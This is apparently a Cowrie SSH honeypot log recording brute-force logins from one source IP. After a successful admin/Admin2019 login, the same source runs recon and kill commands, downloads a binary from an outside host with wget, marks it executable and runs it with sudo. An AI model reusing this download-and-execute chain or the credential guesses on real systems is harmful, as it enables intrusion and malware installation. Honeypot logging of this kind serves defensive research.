{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:50.126500Z","src_ip":"81.91.233.66","session":"48e46acfdc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":51864,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d8e5478a4df","protocol":"ssh","message":"New connection: 81.91.233.66:51864 (10.17.0.5:22) [session: 8d8e5478a4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:50.385338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:50.389516Z","src_ip":"81.91.233.66","session":"8d8e5478a4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:50.637557Z","src_ip":"81.91.233.66","session":"8d8e5478a4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:51.454212Z","src_ip":"2.57.122.209","session":"ca4f33c2e2c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2026","message":"login attempt [user/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:51.663213Z","src_ip":"81.91.233.66","session":"8d8e5478a4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:52.141025Z","src_ip":"81.91.233.66","session":"8d8e5478a4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":51981,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee151be6a5b4","protocol":"ssh","message":"New connection: 81.91.233.66:51981 (10.17.0.5:22) [session: ee151be6a5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:52.398678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:52.403181Z","src_ip":"81.91.233.66","session":"ee151be6a5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:52.649299Z","src_ip":"81.91.233.66","session":"ee151be6a5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2026","message":"login attempt [user2/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:53.667035Z","src_ip":"81.91.233.66","session":"ee151be6a5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:54.178106Z","src_ip":"81.91.233.66","session":"ee151be6a5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":52112,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c921816b1b","protocol":"ssh","message":"New connection: 81.91.233.66:52112 (10.17.0.5:22) [session: c4c921816b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:54.419595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:54.423826Z","src_ip":"81.91.233.66","session":"c4c921816b1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:54.669401Z","src_ip":"81.91.233.66","session":"c4c921816b1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:55.686681Z","src_ip":"81.91.233.66","session":"c4c921816b1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:56.174199Z","src_ip":"81.91.233.66","session":"c4c921816b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1913,"dst_ip":"10.17.0.5","dst_port":22,"session":"211b620e1bef","protocol":"ssh","message":"New connection: 81.91.233.66:1913 (10.17.0.5:22) [session: 211b620e1bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:56.430139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:56.433489Z","src_ip":"81.91.233.66","session":"211b620e1bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:56.678218Z","src_ip":"81.91.233.66","session":"211b620e1bef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin2019","message":"login attempt [admin/Admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:57.685822Z","src_ip":"81.91.233.66","session":"211b620e1bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:57.930850Z","src_ip":"81.91.233.66","session":"211b620e1bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":52329,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2fd2f6c2aac","protocol":"ssh","message":"New connection: 81.91.233.66:52329 (10.17.0.5:22) [session: c2fd2f6c2aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:58.206430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:58.210530Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:58.460333Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin2019","message":"login attempt [admin/Admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:59.478341Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:00.013313Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:00.016217Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:00.513570Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:00.816677Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname","message":"CMD: hostname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:00.819819Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","size":16,"shasum":"7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:01.314062Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:01.632139Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m&&pkill upnpsetup","message":"CMD: uname -m&&pkill upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:01.636684Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23","size":7,"shasum":"751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:02.131431Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:04.592332Z","src_ip":"89.223.69.22","session":"4142bf225b1b","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:05.797303Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:06.045047Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo pkill upnpsetup","message":"CMD: sudo pkill upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:06.048273Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9","size":0,"shasum":"ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:06.301645Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:07.365134Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:07.612665Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm ./upnpsetup","message":"CMD: rm ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:07.615538Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa","size":59,"shasum":"cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:08.152658Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:08.456345Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:08.704793Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"wget -nc http://45.87.174.8/k.php?a=x86_64,022HYKVG93QZCI4JH -O ./upnpsetup","message":"CMD: wget -nc http://45.87.174.8/k.php?a=x86_64,022HYKVG93QZCI4JH -O ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:08.707618Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.59948110580444,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:08.814570Z","src_ip":"94.23.66.112","session":"53c32078c720","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95d81fb9da57b64daef89126a8e952de78b07ae8ac855c08115812d82149f35d","size":98,"shasum":"95d81fb9da57b64daef89126a8e952de78b07ae8ac855c08115812d82149f35d","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95d81fb9da57b64daef89126a8e952de78b07ae8ac855c08115812d82149f35d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:09.244798Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:09.541372Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:09.788970Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod 777 ./upnpsetup","message":"CMD: chmod 777 ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:09.791981Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed","size":62,"shasum":"48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:10.332576Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:10.631218Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:10.879461Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo ./upnpsetup","message":"CMD: sudo ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:10.883288Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15","size":631,"shasum":"c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:11.424548Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53326,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1eeaa406d0e","protocol":"ssh","message":"New connection: 8.210.75.243:53326 (10.17.0.5:22) [session: e1eeaa406d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:17.008724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:17.014213Z","src_ip":"8.210.75.243","session":"e1eeaa406d0e","protocol":"ssh"}
